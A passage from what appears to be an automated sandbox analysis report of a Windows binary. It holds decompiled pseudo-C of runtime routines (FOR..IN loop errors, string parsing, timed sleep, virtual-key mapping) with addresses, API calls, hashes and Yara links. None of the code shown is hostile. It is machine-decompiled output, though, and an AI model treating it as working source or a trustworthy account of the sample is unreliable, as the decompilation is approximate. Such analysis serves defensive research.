					if(E00F123E7(_t162) != 0) {
						L21:
						_t76 =  *_t162;
						__eflags = _t76;
						if(_t76 != 0) {
							__eflags =  *_t76 - 0xd;
							if( *_t76 == 0xd) {
								_t156 =  *((intOrPtr*)(_t76 + 8));
								__imp__#8( &_v68);
								__imp__#9( &_v68);
								_t157 =  *((intOrPtr*)( *((intOrPtr*)( *_t156 + 0xc))))(_t156, 1,  &_v68,  &_a8);
								__eflags = _t157;
								if(_t157 >= 0) {
									L29:
									__eflags = _a8;
									if(_a8 == 0) {
										L32:
										_v68 = 1;
										E00EE9190(_t157, _t162);
										 *((intOrPtr*)(_t162 + 8)) = 1;
										 *_t162 = 0;
										_push( &_v68);
									} else {
										__eflags = _t157 - 1;
										if(_t157 == 1) {
											goto L32;
										} else {
											_push( &_v68);
										}
									}
									E00F471BD(_a16);
									__imp__#9( &_v68);
									__eflags = 0;
									return 0;
								} else {
									__eflags = _t157 - 1;
									if(_t157 == 1) {
										goto L29;
									} else {
										E00EE9190(_t157, _t162);
										 *((intOrPtr*)(_t162 + 8)) = 1;
										 *_t162 = 0;
										return E00F31AB8(_a4, _t157, 0, 0, 1);
									}
								}
							} else {
								_push(1);
								_push(L"Incorrect Object type in FOR..IN loop");
								L35:
								_push(0);
								_push(1);
								_push(_a4);
								return E00F31AB8();
							}
						} else {
							return E00F31AB8(_a4, 1, 0, L"Null Object assignment in FOR..IN loop", 1);
						}
					} else {
						_t89 =  *_t155;
						if(_t89 == 0 ||  *((intOrPtr*)(_t155 + 8)) != 8) {
							return E00F31AB8(_a4, 2, 0, L"Null Object assignment in FOR..IN loop", 1);
						} else {
							_t158 =  *((intOrPtr*)(_t89 + 8));
							if(_t158 != 0) {
								_t92 =  *((intOrPtr*)( *((intOrPtr*)( *_t158 + 0x14))))(_t158, 0xf62a18,  &_v8, 1, 0x400,  &_a12);
								__eflags = _t92;
								if(_t92 < 0) {
									L10:
									__eflags =  *((intOrPtr*)( *((intOrPtr*)( *_t158 + 0x14))))(_t158, 0xf62a18,  &_v12, 1, 0x400,  &_a12);
									if(__eflags < 0) {
										L12:
										_a12 = 0xfffffffc;
									} else {
										__eflags = _a12 - 0xffffffff;
										if(__eflags == 0) {
											goto L12;
										}
									}
								} else {
									__eflags = _a12 - 0xffffffff;
									if(__eflags == 0) {
										goto L10;
									}
								}
								_t95 = E00EF0D73(_t158, _t162, __eflags);
								_v16 = _t95;
								_v52 = _t95;
								_v44 = 0;
								__imp__#8( &_v100, 0x10);
								_t100 =  *((intOrPtr*)( *((intOrPtr*)( *_t158 + 0x18))))(_t158, _a12, 0xf62a18, 0x800, 3,  &_v52,  &_v100,  &_v132,  &_v20);
								_push(_v16);
								_t159 = _t100;
								E00EF343D();
								__eflags = _t159;
								if(_t159 >= 0) {
									_t102 = _v92;
									__eflags = _t102;
									if(_t102 == 0) {
										goto L34;
									} else {
										_v84 = 0xd;
										_t160 = _t102;
										_t104 =  *((intOrPtr*)( *((intOrPtr*)( *_t102))))(_t102,  &_v36,  &_v76);
										_v16 = _t104;
										 *((intOrPtr*)( *((intOrPtr*)( *_t160 + 8))))(_t160);
										_t106 = _v76;
										_t161 = _t106;
										__eflags = _t106;
										if(_t106 != 0) {
											 *((intOrPtr*)( *((intOrPtr*)( *_t106 + 0x14))))(_t106);
											E00F471BD(_t162,  &_v84);
											 *((intOrPtr*)( *((intOrPtr*)( *_t161 + 8))))(_t161);
											goto L21;
										} else {
											return E00F31AB8(_a4, _v16, 0, 0, 1);
										}
									}
								} else {
									_push(1);
									_push(0);
									__eflags = _t159 - 0x80020009;
									if(_t159 != 0x80020009) {
										_push(0);
										_push(_t159);
										_push(_a4);
										return E00F31AB8();
									} else {
										_push( &_v132);
										_push(_t159);
										_push(_a4);
										return E00F31AB8();
									}
								}
							} else {
								return E00F31AB8(_a4, 2, 0, L"Null Object assignment in FOR..IN loop", 1);
							}
						}
					}
				}
			}

0x00f4b9cd
0x00f4b9d1
0x00f4b9df
0x00f4b9e2
0x00f4b9e9
0x00f4b9f0
0x00f4b9f3
0x00f4b9f6
0x00f4b9f9
0x00f4b9fc
0x00f4ba03
0x00f4ba06
0x00f4ba0d
0x00f4ba14
0x00f4ba1e
0x00f4bcb9
0x00f4bcb9
0x00f4bcbb
0x00000000
0x00f4ba35
0x00f4ba3d
0x00f4bbc8
0x00f4bbc8
0x00f4bbca
0x00f4bbcc
0x00f4bc06
0x00f4bc0a
0x00f4bc18
0x00f4bc1f
0x00f4bc29
0x00f4bc41
0x00f4bc43
0x00f4bc45
0x00f4bc71
0x00f4bc71
0x00f4bc74
0x00f4bc81
0x00f4bc86
0x00f4bc8a
0x00f4bc92
0x00f4bc99
0x00f4bc9b
0x00f4bc76
0x00f4bc76
0x00f4bc79
0x00000000
0x00f4bc7b
0x00f4bc7e
0x00f4bc7e
0x00f4bc79
0x00f4bc9f
0x00f4bca8
0x00f4bcae
0x00f4bcb6
0x00f4bc47
0x00f4bc47
0x00f4bc4a
0x00000000
0x00f4bc4c
0x00f4bc4c
0x00f4bc5a
0x00f4bc61
0x00f4bc6e
0x00f4bc6e
0x00f4bc4a
0x00f4bc0c
0x00f4bc0c
0x00f4bc0e
0x00f4bcc0
0x00f4bcc3
0x00f4bcc4
0x00f4bcc6
0x00f4bcd2
0x00f4bcd2
0x00f4bbce
0x00f4bbe7
0x00f4bbe7
0x00f4ba43
0x00f4ba43
0x00f4ba47
0x00f4bc03
0x00f4ba57
0x00f4ba57
0x00f4ba5c
0x00f4ba94
0x00f4ba96
0x00f4ba98
0x00f4baa0
0x00f4babc
0x00f4babe
0x00f4bac6
0x00f4bac6
0x00f4bac0
0x00f4bac0
0x00f4bac4
0x00000000
0x00000000
0x00f4bac4
0x00f4ba9a
0x00f4ba9a
0x00f4ba9e
0x00000000
0x00000000
0x00f4ba9e
0x00f4bacf
0x00f4bad4
0x00f4bad7
0x00f4bae1
0x00f4bae4
0x00f4bb10
0x00f4bb15
0x00f4bb16
0x00f4bb18
0x00f4bb20
0x00f4bb22
0x00f4bb5a
0x00f4bb5d
0x00f4bb5f
0x00000000
0x00f4bb65
0x00f4bb6a
0x00f4bb78
0x00f4bb7d
0x00f4bb85
0x00f4bb88
0x00f4bb8a
0x00f4bb8d
0x00f4bb8f
0x00f4bb91
0x00f4bbb3
0x00f4bbbb
0x00f4bbc6
0x00000000
0x00f4bb93
0x00f4bbaa
0x00f4bbaa
0x00f4bb91
0x00f4bb24
0x00f4bb24
0x00f4bb26
0x00f4bb27
0x00f4bb2d
0x00f4bb49
0x00f4bb4a
0x00f4bb4b
0x00f4bb57
0x00f4bb2f
0x00f4bb35
0x00f4bb36
0x00f4bb37
0x00f4bb43
0x00f4bb43
0x00f4bb2d
0x00f4ba5e
0x00f4ba77
0x00f4ba77
0x00f4ba5c
0x00f4ba47
0x00f4ba3d

APIs

_memset.LIBCMT ref: 00F4BA14
VariantInit.OLEAUT32(?), ref: 00F4BAE4

Part of subcall function 00F31AB8: GetLastError.KERNEL32(?,?,00000000), ref: 00F31B16
Part of subcall function 00F31AB8: VariantCopy.OLEAUT32(?,?), ref: 00F31B6E
Part of subcall function 00F31AB8: VariantCopy.OLEAUT32(-00000068,?), ref: 00F31B84
Part of subcall function 00F31AB8: VariantCopy.OLEAUT32(-00000088,?), ref: 00F31B9D
Part of subcall function 00F31AB8: VariantClear.OLEAUT32(-00000058), ref: 00F31C17

Strings

Null Object assignment in FOR..IN loop, xrefs: 00F4BA63, 00F4BBD3, 00F4BBEF, 00F4BCBB
Incorrect Object type in FOR..IN loop, xrefs: 00F4BC0E

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: Variant$Copy$ClearErrorInitLast_memset
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 530611519-625585964
Opcode ID: 817f5b37ecb6b33a5241e8d0cf88e4960560f11128b34c4cbef48d9622e0ad53
Instruction ID: 31273f9f98d80bb1789671327e56f0edc995747a73c03dc6b22ee57db12e196c
Opcode Fuzzy Hash: 817f5b37ecb6b33a5241e8d0cf88e4960560f11128b34c4cbef48d9622e0ad53
Instruction Fuzzy Hash: C4A18572A00209ABDB10DF98DCC1EEEB7B9FB84315F508519FA04EB281D7B5D9419BA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F24AE1, Relevance: 9.2, APIs: 6, Instructions: 163
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F24AE1(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, char _a15) {
				char _v12;
				void* __edi;
				signed int _t47;
				signed int _t49;
				signed int _t50;
				signed int _t62;
				signed int _t64;
				signed int _t69;
				signed int _t76;
				signed int _t77;
				signed int _t79;
				signed int _t80;
				signed int _t81;
				signed int _t82;
				signed int _t83;
				intOrPtr _t85;
				signed int _t88;
				intOrPtr _t90;
				intOrPtr _t93;
				intOrPtr _t94;
				void* _t96;
				void* _t97;
				void* _t98;
				void* _t99;

				_t94 = _a8;
				_t93 = _a12;
				_t47 = 0;
				while(1) {
					_t80 =  *(_t94 + _t47 * 2) & 0x0000ffff;
					if(_t80 != 0x20 && _t80 != 9) {
						break;
					}
					_t47 = _t47 + 1;
				}
				_t81 =  *(_t94 + _t47 * 2) & 0x0000ffff;
				__eflags = _t81 - 0x22;
				if(_t81 != 0x22) {
					__eflags = _t81 - 0x27;
					if(_t81 != 0x27) {
						__eflags = _t81 - 0x3c;
						if(_t81 != 0x3c) {
							goto L29;
						} else {
							_t9 = _t81 + 2; // 0x2
							_t88 = _t9;
							_a15 = 0;
							goto L10;
						}
					} else {
						_t88 = _t81;
						_a15 = 1;
						goto L10;
					}
				} else {
					_t88 = _t81;
					_a15 = 1;
					L10:
					_t82 =  *(_t94 + 2 + _t47 * 2) & 0x0000ffff;
					_t49 = _t47 + 1;
					_t76 = 0;
					__eflags = _t82 - _t88;
					if(_t82 != _t88) {
						while(1) {
							__eflags = _t82;
							if(_t82 == 0) {
								goto L13;
							}
							_t49 = _t49 + 1;
							 *(_t93 + _t76 * 2) = _t82;
							_t82 =  *(_t94 + _t49 * 2) & 0x0000ffff;
							_t76 = _t76 + 1;
							__eflags = _t82 - _t88;
							if(_t82 != _t88) {
								continue;
							}
							goto L13;
						}
					}
					L13:
					__eflags =  *(_t94 + _t49 * 2) - _t88;
					if( *(_t94 + _t49 * 2) != _t88) {
						L29:
						__eflags = 0;
						return 0;
					} else {
						goto L14;
						do {
							do {
								L14:
								_t83 =  *(_t94 + 2 + _t49 * 2) & 0x0000ffff;
								_t49 = _t49 + 1;
								__eflags = _t83 - 0x20;
							} while (_t83 == 0x20);
							__eflags = _t83 - 9;
						} while (_t83 == 9);
						_t50 =  *(_t94 + _t49 * 2) & 0x0000ffff;
						__eflags = _t50;
						if(__eflags == 0) {
							L18:
							 *(_t93 + _t76 * 2) = 0;
							E00F164CB(__eflags,  &_v12, E00EEF260(_t93, __eflags));
							_t95 = _v12;
							E00F24A44( &_v12, _v12);
							E00F24AA0( &_v12, __eflags, _v12);
							__eflags = _a15;
							if(_a15 == 0) {
								_t85 = _a4;
								_t77 = 0;
								__eflags =  *(_t85 + 0x3c);
								if( *(_t85 + 0x3c) > 0) {
									while(1) {
										E00EF1487(_t93,  *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x38)) + _t77 * 4)));
										E00EF1456(_t93, _t95);
										_t62 = E00F139DF(_t93);
										_t97 = _t96 + 0x14;
										__eflags = _t62;
										if(_t62 != 0) {
											goto L28;
										}
										E00EF1487(_t93, _t95);
										_t90 = _a4;
										_t77 = _t77 + 1;
										_t96 = _t97 + 8;
										__eflags = _t77 -  *((intOrPtr*)(_t90 + 0x3c));
										if(_t77 <  *((intOrPtr*)(_t90 + 0x3c))) {
											continue;
										}
										goto L28;
									}
								}
								goto L28;
							} else {
								_t64 = E00F139DF(_t93);
								_t98 = _t96 + 4;
								__eflags = _t64;
								if(_t64 == 0) {
									_t79 =  *((intOrPtr*)(_a4 + 0x3c)) - 1;
									__eflags = _t79;
									if(_t79 < 0) {
										L28:
										E00F164A4( &_v12);
										return 1;
									} else {
										while(1) {
											E00EF1487(_t93,  *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x38)) + _t79 * 4)));
											E00EF1456(_t93, _t95);
											_t69 = E00F139DF(_t93);
											_t99 = _t98 + 0x14;
											__eflags = _t69;
											if(_t69 != 0) {
												goto L28;
											}
											E00EF1487(_t93, _t95);
											_t98 = _t99 + 8;
											_t79 = _t79 - 1;
											__eflags = _t79;
											if(_t79 >= 0) {
												continue;
											} else {
												E00F164A4( &_v12);
												return 1;
											}
											goto L30;
										}
										goto L28;
									}
								} else {
									E00F164A4( &_v12);
									return 1;
								}
							}
						} else {
							__eflags = _t50 - 0x3b;
							if(__eflags != 0) {
								goto L29;
							} else {
								goto L18;
							}
						}
					}
				}
				L30:
			}

0x00f24ae9
0x00f24aed
0x00f24af0
0x00f24af2
0x00f24af2
0x00f24af9
0x00000000
0x00000000
0x00f24b00
0x00f24b00
0x00f24b03
0x00f24b07
0x00f24b0a
0x00f24b14
0x00f24b17
0x00f24b21
0x00f24b24
0x00000000
0x00f24b2a
0x00f24b2a
0x00f24b2a
0x00f24b2d
0x00000000
0x00f24b2d
0x00f24b19
0x00f24b19
0x00f24b1b
0x00000000
0x00f24b1b
0x00f24b0c
0x00f24b0c
0x00f24b0e
0x00f24b31
0x00f24b31
0x00f24b36
0x00f24b37
0x00f24b39
0x00f24b3c
0x00f24b3e
0x00f24b3e
0x00f24b41
0x00000000
0x00000000
0x00f24b43
0x00f24b44
0x00f24b48
0x00f24b4c
0x00f24b4d
0x00f24b50
0x00000000
0x00000000
0x00000000
0x00f24b50
0x00f24b3e
0x00f24b52
0x00f24b52
0x00f24b56
0x00f24c72
0x00f24c72
0x00f24c78
0x00f24b5c
0x00000000
0x00f24b5c
0x00f24b5c
0x00f24b5c
0x00f24b5c
0x00f24b61
0x00f24b62
0x00f24b62
0x00f24b67
0x00f24b67
0x00f24b6c
0x00f24b70
0x00f24b73
0x00f24b7e
0x00f24b80
0x00f24b8e
0x00f24b93
0x00f24b97
0x00f24b9d
0x00f24ba2
0x00f24ba6
0x00f24c1b
0x00f24c1e
0x00f24c20
0x00f24c23
0x00f24c25
0x00f24c30
0x00f24c37
0x00f24c3d
0x00f24c42
0x00f24c45
0x00f24c47
0x00000000
0x00000000
0x00f24c4b
0x00f24c50
0x00f24c53
0x00f24c54
0x00f24c57
0x00f24c5a
0x00000000
0x00000000
0x00000000
0x00f24c5a
0x00f24c25
0x00000000
0x00f24ba8
0x00f24ba9
0x00f24bae
0x00f24bb1
0x00f24bb3
0x00f24bcf
0x00f24bcf
0x00f24bd0
0x00f24c5c
0x00f24c60
0x00f24c6d
0x00f24bd6
0x00f24bd6
0x00f24be1
0x00f24be8
0x00f24bee
0x00f24bf3
0x00f24bf6
0x00f24bf8
0x00000000
0x00000000
0x00f24bfc
0x00f24c01
0x00f24c04
0x00f24c04
0x00f24c05
0x00000000
0x00f24c07
0x00f24c0b
0x00f24c18
0x00f24c18
0x00000000
0x00f24c05
0x00000000
0x00f24bd6
0x00f24bb5
0x00f24bb9
0x00f24bc6
0x00f24bc6
0x00f24bb3
0x00f24b75
0x00f24b75
0x00f24b78
0x00000000
0x00000000
0x00000000
0x00000000
0x00f24b78
0x00f24b73
0x00f24b56
0x00000000

APIs

_wcscpy.LIBCMT ref: 00F24BE1
_wcscat.LIBCMT ref: 00F24BE8
_wcscpy.LIBCMT ref: 00F24BFC
_wcscpy.LIBCMT ref: 00F24C30
_wcscat.LIBCMT ref: 00F24C37
_wcscpy.LIBCMT ref: 00F24C4B

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: _wcscpy$_wcscat
String ID:
API String ID: 2037614760-0
Opcode ID: 191977c05ae63bf92e38f7f79ec1f74aa843ee787d43ab9f430e4519fd75372f
Instruction ID: 32935e7b6f8fb49e8fdbf510bda694cb7a853a0eaad8f164583fbf3c1861a3b0
Opcode Fuzzy Hash: 191977c05ae63bf92e38f7f79ec1f74aa843ee787d43ab9f430e4519fd75372f
Instruction Fuzzy Hash: 69414731900138A6CB34EF58E8D1AFF73A8DFD5330F40005AF95697102D6A5B992E7A1

Uniqueness

Uniqueness Score: -1.00%

Function 00F31AB8, Relevance: 9.1, APIs: 6, Instructions: 144
memoryCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E00F31AB8(intOrPtr* _a4, signed short* _a8, signed short* _a12, char _a16, char _a20) {
				signed short _v16;
				char _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				char _v40;
				char _v56;
				char _v72;
				void* __edi;
				void* __esi;
				intOrPtr _t61;
				long _t65;
				intOrPtr _t70;
				intOrPtr _t72;
				intOrPtr _t86;
				signed short* _t87;
				intOrPtr* _t93;
				intOrPtr _t99;
				intOrPtr _t101;
				signed int _t104;
				intOrPtr _t107;
				intOrPtr _t108;
				intOrPtr* _t115;
				signed short* _t116;
				signed int _t120;

				_t87 = _a8;
				_t116 = _a12;
				_v40 = 0;
				_v32 = 1;
				_v28 = 0;
				_a12 = _t87;
				if( *0xf87f19 == 0) {
					L14:
					E00EE3EC0( *((intOrPtr*)( *_a4 + 4)) + _a4, _t87, 0);
					__eflags = _a20;
					if(_a20 == 0) {
						goto L13;
					} else {
						E00EE9190(_t115,  &_v40);
						return 1;
					}
				} else {
					_t61 =  *0xf87f1c; // 0x0
					if(_t61 == 0) {
						goto L14;
					} else {
						if( *((char*)(_t61 + 0x40)) == 0) {
							 *((short*)(_t61 + 0x48)) = 3;
							 *((intOrPtr*)(_t61 + 0x50)) = _t87;
							 *((short*)(_t61 + 0xa8)) = 3;
							_t65 = GetLastError();
							_t107 =  *0xf87f1c; // 0x0
							 *(_t107 + 0xb0) = _t65;
							 *((short*)(_t107 + 0xb8)) = 3;
							 *((intOrPtr*)(_t107 + 0xc0)) = E00F14891( *((intOrPtr*)(_a4 + 0xf4)));
							if(_t116 != 0) {
								_t115 = __imp__#10;
								_v24 = 8;
								_v16 = _t116[2];
								 *_t115(_t107 + 0x78,  &_v24);
								_t99 =  *0xf87f1c; // 0x0
								_v16 = _t116[4];
								 *_t115(_t99 + 0x68,  &_v24);
								_t101 =  *0xf87f1c; // 0x0
								_v16 = _t116[6];
								 *_t115(_t101 + 0x88,  &_v24);
								_t86 =  *0xf87f1c; // 0x0
								 *((short*)(_t86 + 0x98)) = 3;
								 *(_t86 + 0xa0) = _t116[8];
								 *((short*)(_t86 + 0xc8)) = 3;
								_t104 =  *_t116 & 0x0000ffff;
								if(_t104 == 0) {
									_t120 = _t116[0xe];
								} else {
									_t120 = _t104;
								}
								 *(_t86 + 0xd0) = _t120;
								_t126 = _t120;
								if(_t120 != 0) {
									_a12 = _t120;
								}
							}
							E00EEBEC0( &_v56, _t126);
							if(_a16 == 0) {
								E00EEDE00( &_v56, E00F2AEE3( &_v72, _a12));
								E00EE2480( &_v72);
								_a16 = _v56;
							}
							_t70 =  *0xf87f1c; // 0x0
							__imp__#9(_t70 + 0x58);
							_t72 = _a16;
							_t108 =  *0xf87f1c; // 0x0
							 *((short*)(_t108 + 0x58)) = 8;
							__imp__#2(_t72);
							_t93 =  *0xf87f1c; // 0x0
							 *((intOrPtr*)(_t93 + 0x60)) = _t72;
							 *((intOrPtr*)( *((intOrPtr*)( *_t93 + 0x20))))();
							E00EE2480( &_v56);
						}
						E00EE3EC0( *((intOrPtr*)( *_a4 + 4)) + _a4, _t87, 0);
						L13:
						E00EE9190(_t115,  &_v40);
						return 0;
					}
				}
			}

0x00f31ac6
0x00f31aca
0x00f31ace
0x00f31ad5
0x00f31adc
0x00f31ae3
0x00f31ae6
0x00f31c73
0x00f31c80
0x00f31c85
0x00f31c89
0x00000000
0x00f31c8b
0x00f31c8e
0x00f31c9e
0x00f31c9e
0x00f31aec
0x00f31aec
0x00f31af3
0x00000000
0x00f31af9
0x00f31afd
0x00f31b08
0x00f31b0c
0x00f31b0f
0x00f31b16
0x00f31b1c
0x00f31b25
0x00f31b30
0x00f31b43
0x00f31b4b
0x00f31b54
0x00f31b5f
0x00f31b6b
0x00f31b6e
0x00f31b70
0x00f31b81
0x00f31b84
0x00f31b86
0x00f31b9a
0x00f31b9d
0x00f31b9f
0x00f31ba9
0x00f31bb3
0x00f31bb9
0x00f31bc0
0x00f31bc6
0x00f31bcc
0x00f31bc8
0x00f31bc8
0x00f31bc8
0x00f31bcf
0x00f31bd5
0x00f31bd7
0x00f31bd9
0x00f31bd9
0x00f31bd7
0x00f31bdf
0x00f31be8
0x00f31bfb
0x00f31c03
0x00f31c0b
0x00f31c0b
0x00f31c0e
0x00f31c17
0x00f31c1d
0x00f31c20
0x00f31c2c
0x00f31c30
0x00f31c36
0x00f31c3e
0x00f31c44
0x00f31c49
0x00f31c49
0x00f31c5b
0x00f31c60
0x00f31c63
0x00f31c70
0x00f31c70
0x00f31af3

APIs

GetLastError.KERNEL32(?,?,00000000), ref: 00F31B16
VariantCopy.OLEAUT32(?,?), ref: 00F31B6E
VariantCopy.OLEAUT32(-00000068,?), ref: 00F31B84
VariantCopy.OLEAUT32(-00000088,?), ref: 00F31B9D
VariantClear.OLEAUT32(-00000058), ref: 00F31C17
SysAllocString.OLEAUT32(00000000), ref: 00F31C30

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: Variant$Copy$AllocClearErrorLastString
String ID:
API String ID: 960795272-0
Opcode ID: 48a03688b83f09579d7dbf35bc3e22e1e0c7e1ef4e99e44e94eb91ddb280e273
Instruction ID: 03d7267633bf3e684f587dc6cc0f265928829b1210d710513ea16c54745e444d
Opcode Fuzzy Hash: 48a03688b83f09579d7dbf35bc3e22e1e0c7e1ef4e99e44e94eb91ddb280e273
Instruction Fuzzy Hash: 4D518C75A042099FCB14DF65DC80BEAB7B9FF48310F208169E904AB361DB74ED45DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F13187, Relevance: 9.1, APIs: 6, Instructions: 64
sleepCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E00F13187(int __eax, signed long long __fp0, long _a4, signed short _a6) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				union _LARGE_INTEGER _v20;
				union _LARGE_INTEGER _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				union _LARGE_INTEGER _v44;
				signed int _t20;
				long _t26;
				long _t27;
				signed long long _t28;

				_t28 = __fp0;
				_t13 = __eax;
				_t26 = _a4;
				_t27 = _t26;
				if(_t27 < 0) {
					return __eax;
				} else {
					if(_t27 != 0) {
						if(_t26 >= 0xf) {
							L8:
							Sleep(_t26);
							return _t13;
						}
						_t13 = QueryPerformanceCounter( &_v28);
						if(_t13 == 0) {
							goto L8;
						}
						QueryPerformanceFrequency( &_v44);
						do {
							Sleep(0);
							QueryPerformanceCounter( &_v20);
							asm("fnstcw word [ebp+0xa]");
							asm("sbb ecx, [ebp-0x14]");
							_v36 = _v20.LowPart - _v28.LowPart;
							_v32 = _v16;
							asm("fild qword [ebp-0x20]");
							asm("fild qword [ebp-0x28]");
							_t20 = _a6 & 0x0000ffff | 0x00000c00;
							_v8 = _t20;
							asm("fdivp st1, st0");
							_t28 = _t28 *  *0xf6cd28;
							asm("fldcw word [ebp-0x4]");
							asm("fistp qword [ebp-0x8]");
							asm("fldcw word [ebp+0xa]");
						} while (_v12 < _t26);
						return _t20;
					} else {
						Sleep(0);
						return _t13;
					}
				}
			}

0x00f13187
0x00f13187
0x00f1318e
0x00f13192
0x00f13194
0x00f13228
0x00f1319a
0x00f1319a
0x00f131ad
0x00f1321c
0x00f1321d
0x00000000
0x00f1321d
0x00f131b9
0x00f131bd
0x00000000
0x00000000
0x00f131c3
0x00f131c9
0x00f131cb
0x00f131d5
0x00f131d7
0x00f131e3
0x00f131e6
0x00f131e9
0x00f131ec
0x00f131f3
0x00f131f6
0x00f131fb
0x00f131fe
0x00f13200
0x00f13206
0x00f13209
0x00f1320f
0x00f13212
0x00f1321b
0x00f1319c
0x00f1319e
0x00f131a9
0x00f131a9
0x00f1319a

APIs

Sleep.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,00F88178), ref: 00F1319E
QueryPerformanceCounter.KERNEL32(?,?,00000000,?,?,?,?,?,?,?,?,?,00F88178), ref: 00F131B9
QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?,00F88178), ref: 00F131C3
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00F88178), ref: 00F131CB
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,00F88178), ref: 00F131D5

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: 2b64d9f5201b98f8b6dad50267d384f57137b30dd5d460065b5589b32a116e97
Instruction ID: 20a78e552e97e819c7c61e758dea1e8d89067a9e9b01dc8fb4f8b1470518329b
Opcode Fuzzy Hash: 2b64d9f5201b98f8b6dad50267d384f57137b30dd5d460065b5589b32a116e97
Instruction Fuzzy Hash: 8B11D032D0411DABCF00AFA9E9049EDB778FF49722F014595EA18B3244DB709A41ABA0

Uniqueness

Uniqueness Score: -1.00%

Function 00EEF010, Relevance: 9.0, APIs: 6, Instructions: 40
keyboardCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EEF010(intOrPtr* __esi) {
				int _t20;

				 *__esi = 5;
				 *((intOrPtr*)(__esi + 4)) = 5;
				 *((short*)(__esi + 8)) = 1;
				 *((intOrPtr*)(__esi + 0x10)) = 0;
				 *((intOrPtr*)(__esi + 0x14)) = 0;
				 *((short*)(__esi + 0x18)) = 0;
				 *((intOrPtr*)(__esi + 0x1a)) = 0;
				 *((short*)(__esi + 0x1e)) = 0;
				 *((intOrPtr*)(__esi + 0xc)) = 4;
				 *((char*)(__esi + 0x29)) = MapVirtualKeyW(0x5b, 0);
				 *((char*)(__esi + 0x26)) = MapVirtualKeyW(0x10, 0);
				 *((char*)(__esi + 0x27)) = MapVirtualKeyW(0xa0, 0);
				 *((char*)(__esi + 0x28)) = MapVirtualKeyW(0xa1, 0);
				 *((char*)(__esi + 0x24)) = MapVirtualKeyW(0x11, 0);
				_t20 = MapVirtualKeyW(0x12, 0);
				 *(__esi + 0x25) = _t20;
				return _t20;
			}

0x00eef01a
0x00eef020
0x00eef027
0x00eef02d
0x00eef030
0x00eef033
0x00eef038
0x00eef03b
0x00eef041
0x00eef04d
0x00eef058
0x00eef063
0x00eef06b
0x00eef073
0x00eef076
0x00eef079
0x00eef07d

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 00EEF048
MapVirtualKeyW.USER32(00000010,00000000), ref: 00EEF050
MapVirtualKeyW.USER32(000000A0,00000000), ref: 00EEF05B
MapVirtualKeyW.USER32(000000A1,00000000), ref: 00EEF066
MapVirtualKeyW.USER32(00000011,00000000), ref: 00EEF06E
MapVirtualKeyW.USER32(00000012,00000000), ref: 00EEF076

Memory Dump Source

